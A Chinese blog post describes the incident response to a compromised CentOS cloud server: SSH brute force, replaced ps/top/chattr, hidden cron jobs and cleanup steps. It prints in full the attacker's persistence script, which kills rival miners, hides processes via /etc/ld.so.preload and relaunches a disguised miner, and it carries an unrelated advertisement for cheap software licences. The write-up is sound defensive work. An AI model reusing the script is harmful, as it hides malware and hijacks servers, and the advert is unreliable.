一次服务器被入侵的处理过程分享

我就是我 2024-04-07 16:14 168阅读 0赞

一、服务器入侵现象

近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是:服务器 CPU 资源长期 100%,负载较高。服务器上面的服务不能正常提供服务。

efdfcff936f195e55083f9c1932dda47.png

朋友处理了一会没有解决,我开始想说我不是搞安全的,我怎么会,但朋友开出了天价,一顿海底捞,我在生活和现实面前低头了。开始上手看看了。

二、服务器排查和处理

2.1、服务器被入侵的可能原因

  1. 服务器 ssh 密码 设置得很简单。
  2. 腾讯云安全组范围放得很大。
  3. 使用了宝塔,宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。

2.2、排查和处理步骤

1、ps -ef / top 找出占用进程最大的服务

问题现象

ps/top 命令 已经被替换了。

b1626fac94455fdc762f76412db22d9b.png

2、查找详细的入侵痕迹 last 或者 grep ‘Accepted’ /var/log/secure。

问题现象

  1. [root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
  2. Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
  3. Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
  4. Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
  5. Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
  6. Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
  7. Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
  8. Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
  9. Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

lighthouse 腾讯云轻量服务器

我们在这里就可以看到,有一些境外IP 34.215.138.2 成功登录了,这些 IP不是我们的正常登录。在 /var/log/secure 日志里,我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。

处理措施

这里我们立马采取了第一个措施,

  1. 在腾讯云安全组限制了 SSH 的登录IP, 之前的安全组 SSH 是放行所有IP。
  2. 将 SSH ROOT 密码修改。
  3. /root/.ssh/authorized_keys 备份,并清空。

    [root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
    cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

这时我们就遇到了权限的问题,这个晚点展开讲,因为我们已经限制了源IP, 所以这个我们可以晚点来处理。

3、查看最近新增的一些用户

问题现象

cat /etc/passwd

94c9a92dde3e4b39dc859a6558b0e04f.png

处理措施

锁定用户

  1. [root@VM-12-12-centos ~]# usermod -L sys1

4、我这里不计划去找进程(已经在新建一台版本一致的系统, 来拷贝 top 和 ps 命令,需要一小会,我们趁这个时间,先看看其他),因为之前朋友重启过服务器,发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。(插播一条广告:需要开通正版JetBrains全家桶的可以联系我,56元一年,正版授权,官网可查有效期,有需要的加我微信:poxiaozhiai6,备注:914。)

问题现象

定时任务

crond 读取配置文件会从以下几个路径读取:

  • /var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户
  • /etc/crontab ,只能root 进行编辑,配置文件需指定用户
  • /etc/cron.d/ ,在此文件夹下创建定时任务文件,配置文件需指定用户
  • /etc/cron.*

/var/spool/cron/ 未找到(后面会说到这里有障眼法)

c0db249cda742c891adc666fd4e9730f.png

/etc/crontab 未找到(后面会说到这里有障眼法)

但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。

  1. Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
  2. Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
  3. Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
  4. Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
  5. Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )

处理措施

这里我们先做的操作就是,先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了,所以我开始解锁,我们发现 chattr 也被替换和锁住了。所以不能操作下去了。

开机启动脚本

/etc/rc.local , 我们也发现了一个脚本。

  1. [root@VM-12-12-centos ~]# cat /etc/rc.local
  2. #!/bin/bash
  3. # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
  4. #
  5. # It is highly advisable to create own systemd services or udev rules
  6. # to run scripts during boot instead of using this file.
  7. #
  8. # In contrast to previous versions due to parallel execution during boot
  9. # this script will NOT be run after all other services.
  10. #
  11. # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
  12. # that this script will be executed during boot.
  13. /usr/bin/0f4f80f9ab start

但是这个文件好像不存在的,我们就把这个给注释了。

5、还原更改了 top、ps、chattr、lsattr.

  • 首先我们从相同版本的机器拷贝了 chattr、lsattr, 我们得先操作这个, 因为我们的 top 和 ps 都被锁住了。
  • 我将文件上传至 /tmp 目录,然后增加可执行权限,然后先给 /usr/bin/chattr 解除锁定。

    /tmp/chattr -ai /usr/bin/chattr

  • 执行完之后,发现还是不能替换 /usr/bin/chattr。最后耗费了一段时间才反应到,入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。

  • 解锁目录

    /tmp/chattr -ai /usr/bin/

  • 这下才能把 /usr/bin/chattr 给替换掉。

  • 接下来参考这些,我们把 top 和 ps 、lsattr 给还原了。

部分截图

20a9e14299b66db268ba31425ed8c406.png

三、本次入侵需要带来启示的点

1、ps 、top 、chattr 、lsattr

在这些命令被替换了,并且我们想还原又还原不了的场景,我们可以拷贝同版本的机器相同的命令放在其它目录,用这些命令来解除入侵者将它已经替换并锁定了文件。注意有些入侵者不仅会在文件层面加锁,还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

2、文件内容隐藏

上文中,我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。

其实不知道使用了什么特殊字符还是什么隐藏了, 其实是存在定时任务的。

示例:

b282d47cacabf0f410c8dedabf56f07d.png

cccee72235c36eabaa8f510fc12bbbcf.png

9a0ed170b702c819facc7ef35c452848.png

这个配置是如何导致 cat/more 看不了的, 今天再次看了下,这个文件可能是被当成了数据文件,因为我把这个文件 file 查看了之后,文件属性是data. 然后文件包含的特殊字符,导致隐藏了。

3、其中一个脚本。

  1. [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
  2. #!/bin/sh
  3. while test 1 = 1
  4. do
  5. sleep 30
  6. pkill -f main
  7. killall main
  8. killall sprshduerjsaia
  9. pkill -f sprshduerjsaia
  10. killall dr64
  11. pkill -f dr64
  12. killall .report_system
  13. pkill -f .report_system
  14. killall sshc
  15. pkill -f sshc
  16. pkill -f memory
  17. killall memory
  18. killall warmup
  19. killall koko
  20. killall kthreaddk
  21. killall systemc
  22. killall cront
  23. killall xm64_linux
  24. killall /var/tmp/j/./intelshell
  25. pkill -f dos32
  26. pkill -f dos64
  27. pkill -f .name
  28. pkill -f /usr/sbin/dbus
  29. pkill -f systemd-boot-check-no-failures
  30. killall .report_system
  31. pkill -f .report_system
  32. pkill -f keep-alive
  33. pkill -f linu
  34. pkill -f zapppp
  35. killall [scan]
  36. killall [ext4]
  37. pkill -f xm64_linux
  38. pkill -f ddrirc
  39. killall ./-bash
  40. pkill -f ./-bash
  41. killall kworkers
  42. killall dbus
  43. pkill -f biden1
  44. pkill -f cpuminer-sse2
  45. killall work64
  46. pkill -f work64
  47. killall work32
  48. pkill -f work32
  49. killall aarch12
  50. pkill -f aarch12
  51. killall bash1
  52. pkill -f bash1
  53. killall intelshell
  54. pkill -f intelshell
  55. killall heaven
  56. pkill -f heaven
  57. killall .syst3md
  58. pkill -f .syst3md
  59. pkill -f apachelogs
  60. killall .meinkampf
  61. pkill -f .meinkampf
  62. killall xri
  63. pkill -f xri
  64. killall koko
  65. pkill -f koko
  66. killall work32-deamon
  67. pkill -f work32-deamon
  68. killall work64 -deamon
  69. pkill -f work64 -deamon
  70. killall secure.sh
  71. pkill -f secure.sh
  72. kkillall auth.sh
  73. pkill -f auth.sh
  74. killall autoupdate
  75. pkill -f kworkers
  76. pkill -f autoupdate
  77. killall ld-linux
  78. pkill -f ld-linux
  79. pkill -9 Donald
  80. killall -9 Donald
  81. pkill -f /usr/local/bin/pnscan
  82. pkill -f /usr/bin/biden1
  83. killall /usr/bin/biden1
  84. killall r
  85. killall trace
  86. pkill -f minerd
  87. killall minerd
  88. pkill -f xm64
  89. killall xm64
  90. pkill -f sysdm
  91. killall sysdm
  92. pkill -f syst3md
  93. killall syst3md
  94. pkill -f xrig
  95. killall xrig
  96. pkill -f busybox
  97. killall busybox
  98. pkill -f joseph
  99. killall joseph
  100. pkill -f osama
  101. killall osama
  102. killall daemon
  103. pkill -f obama1
  104. killall obama1
  105. pkill -f kswapd0
  106. killall kswapd0
  107. pkill -f jehgms
  108. killall jehgms
  109. pkill -f tsm
  110. killall tsm
  111. pkill -f rig
  112. killall rig
  113. pkill -f xmr
  114. killall xmr
  115. pkill -f playstation
  116. killall playstation
  117. pkill -f ld-linux-x86-64
  118. killall ld-linux-x86-64
  119. pkill -f ruckusapd
  120. killall ruckusapd
  121. pkill -f run64
  122. killall run64
  123. pkill -f pwnrig
  124. killall pwnrig
  125. pkill -f phpupdate
  126. killall phpupdate
  127. pkill -f sysupdate
  128. killall sysupdate
  129. pkill -f phpguard
  130. killall phpguard
  131. pkill -f firstpress
  132. killall firstpress
  133. pkill -f zerocert
  134. killall zerocert
  135. pkill -f masscan
  136. killall masscan
  137. pkill -f -bash
  138. pkill -f spreadQlmnop
  139. killall spreadQlmnop
  140. killall -bash
  141. pkill -f cnrig
  142. killall cnrig
  143. pkill -f netvhost
  144. killall netvhost
  145. pkill -f kthreadds
  146. killall kthreadds
  147. pkill -f kthreadd
  148. killall kthreadd
  149. pkill -f kdevtmpfsi
  150. killall kdevtmpfsi
  151. pkill -f linuxservice
  152. killall linuxservice
  153. pkill -f rtmonitor
  154. killall rtmonitor
  155. pkill -f dev
  156. killall dev
  157. pkill -f xmrig
  158. killall xmrig
  159. pkill -f master
  160. killall master
  161. killall sysmd
  162. pkill -f sysmd
  163. pkill -f sendmail
  164. killall sendmail
  165. pkill -f ld-musl-x86_64.
  166. killall ld-musl-x86_64.
  167. killall watchdog
  168. pkill -f watchdog
  169. pkill -f 32678
  170. killall 32678
  171. killall dhpcd
  172. pkill -f dhpcd
  173. killall linux_amd64
  174. pkill -f linux_amd64
  175. killall xredis
  176. pkill -f xredis
  177. killall Linux2.6
  178. killall .chornyd
  179. pkill -f .chornyd
  180. killall Opera
  181. pkill -f Opera
  182. killall libertyd
  183. pkill -f libertyd
  184. killall rcubind
  185. pkill -f rcubind
  186. killall clamscan
  187. pkill -f clamscan
  188. killall pnscan
  189. pkill -f pnscan
  190. killall zzh
  191. pkill -f zzh
  192. killall bioser
  193. pkill -f bioser
  194. rm -rf /root/.configrc/
  195. rm -rf /tmp/.X26-unix/
  196. rm -rf /tmp/.bash/
  197. rm -rf /root/.bash/
  198. rm -rf /root/.cache/
  199. rm -rf /tmp/.cache/
  200. rm -rf /dev/shm/.ssh/
  201. rm -rf /etc/.etcservice/linuxservice
  202. rm -rf /etc/.vhost/netvhost
  203. rm -rf /tmp/up.txt
  204. rm -rf /var/tmp/.update/
  205. rm -rf /var/tmp/.systemd/
  206. rm -rf /usr/sbin/.bash./.bash/
  207. rm -rf /etc/master
  208. rm -rf /usr/bin/busybox
  209. rm -rf /bin/sysmd
  210. rm -rf /tmp/.mx/
  211. rm -rf /dev/shm/.mx/
  212. rm -rf /usr/bin/xrig
  213. rm -rf /etc/32678
  214. rm -rf /root/c3pool/
  215. rm -rf /usr/bin/.sshd/
  216. rm -rf /tmp/div
  217. systemctl stop c3pool_miner.service
  218. systemctl stop pwnriglhttps.service
  219. systemctl stop cryto
  220. systemctl stop scan
  221. systemctl stop bot
  222. systemctl stop myservice.service
  223. systemctl stop netns.service
  224. systemctl stop cryptsetup.service
  225. echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
  226. lockr +ai /etc/ld.so.preload >/dev/null 2>&1
  227. chmod 777 /usr/lib/mysql/*
  228. /usr/lib/mysql/./mysql
  229. done

我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务。

在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

我已经删除了 /usr/local/lib/libprocesshider.so 文件,之后每次执行命令会有这个报错。

daaf509053a964ccaaa379775ecfb48e.png

我在清空文件 /etc/ld.so.preload 之后,我发现好了一会后,还是出现这个,我再看 /etc/ld.so.preload 文件,里面又写了 /usr/local/lib/libprocesshider.so ,我怀疑还有定时任务,但是我找了一会定时任务,还是没有找到。后面在查看异常进程的时候,我看到了这个进程

3e4b20ea1b98bc10ba559ef54018b736.png

a724ac98d629879c0e2d2a5f53d39722.png

发现这个脚本的就是一直在循环执行上面内容。将这个进程 kill 后,然后删除脚本。

四、本次服务器被入侵的一些启示

1、用好云厂家的安全组。对一些关键端口,放行规则尽量最小/

2、服务器相关的一些密码尽量增加复杂性。

3、增加对一些关键文件的监控. (通过监控软件监控 md5值)

  • /etc/passwd
  • /etc/shadow
  • /etc/group
  • /root/.bash_history
  • /root/.ssh/authorized_keys
  • /etc/ssh/sshd_config
  • /etc/profile
  • /var/spool/cron/root
  • /etc/crontab
  • /etc/ld.so.preload
  • /etc/rc.local
  • lsof
  • ps
  • netstat
  • top
  • ls
  • pstree
  • last
  • history
  • sudo
  • password
  • chattr
  • lsattr

4、服务器入侵之后,我们需要怎么处理才是最好的。

https://cloud.tencent.com/document/product/296/9604 https://help.aliyun.com/document\_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

  1. 服务器如果有开放SSH 远程登录,可以设置限制登录(安全组、或者服务),只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep ‘Accepted’ /var/log/secure

/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。

  1. 服务器如果可以关闭外网,就关闭外网。在安全组层面设置下,或者路由或者NAT。
  2. 首先看下 ps/top 命令有没有被篡改, 如果有的话, 从其他正常的机器上拷贝至服务器上。然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话,记得清空里面的内容,然后将对应的文件删除或者重命名。

如果使用过程中遇到了文件不可删,不可改的问题,需要使用 chattr -ia 文件名 如果 chattr 也被串改,那就需要从别的机器拷贝。然后复原。

  1. 如果上述没有找到,可以通过 netstat 间接查看异常的连接从而查询异常进程。
  2. 检查开机启动 和 crontab 相关的内容 。
  3. 检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示,后续有了解新的会继续补充。

发表评论

表情:
评论列表 (有 0 条评论,168人围观)

还没有评论,来说两句吧...

相关阅读

    相关 Linux系统攻击分析过程

    IT行业发展到现在,安全问题已经变得至关重要,从最近的“棱镜门”事件中,折射出了很多安全问题,信息安全问题已变得刻不容缓,而做为运维人员,就必须了解一些安全运维准则,同时,要保